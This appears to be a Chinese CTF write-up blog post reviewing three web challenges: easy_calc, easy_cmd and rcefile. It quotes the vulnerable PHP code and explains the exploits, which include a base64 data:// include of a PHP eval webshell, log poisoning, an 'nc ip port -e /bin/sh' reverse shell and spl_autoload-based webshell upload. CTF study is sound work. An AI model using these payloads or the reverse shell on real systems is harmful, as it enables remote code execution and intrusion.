假期赛事复盘(一)

CTFSHOW 七夕杯

easy_calc

进入题目后获得源码

<?php
if(check($code)){
    eval('$result='."$code".";");
    echo($result);    
}
function check(&$code){
    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];
    if(!isset($num1) || !isset($num2) || !isset($symbol) ){    
        return false;
    }
    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }
    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }
    return false;
}

观察页面js

发现将参数post传递到了calc.php,访问会提示参数缺失,可以确定是在该文件执行了操作

审计代码,限制了大部分特殊字符,并且在$symbol只能是四则运算符号。其中可能有用的是*/,可以作为通配符以及绕过目录。

本题的基本思路是拼凑代码执行,由于限制了括号,套用system函数执行命令不太可能,拼凑系统命令的话最后的分号可能导致报错,综合考虑进行包含。有两种思路,一种是直接包含日志文件,在ua等位置写入php代码,猜测目录位置是/var/log/nginx/access.log,包含log文件即可。第二种是利用伪协议包含代码,即data协议,例如

include "data://text/plain,<?php eval($_GET[1]);?>"

限制了符号,使用base64进行绕过

include "data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4"

根据$symbol的限制,从/位置拆分,分别赋值给三个参数

easy_cmd

源码

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>

代码很短,很简单,只能允许这四个命令,使用nc反弹shell即可

nc ip port -e /bin/sh

据说可以不出网执行命令,先占个坑,回来再补

强网杯

rcefile

这个题目的基本思路是利用spl_autoload_register()函数在遇到未定义类时自动寻找文件名为类名的.inc或者.php文件,此时上传一个含有恶意代码的.inc文件并触发反序列化即可。

还有另一种思路,将一句话的后缀改为phar,注意不生成phar文件,只利用后缀名绕过。

这里又想到了另一个有关的点

<?php
$key=call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

本题传入的是一个函数名,想要生成shell就要让$key是php后缀,这样写入木马后才可以成功执行。因此传入的函数的返回值最后必须是.php才行

也是一个和本题有关的函数,spl_autoload_extensions()

默认情况下其返回值为.inc,.php,即生成一个名为.inc,.phpshell文件

上一篇
下一篇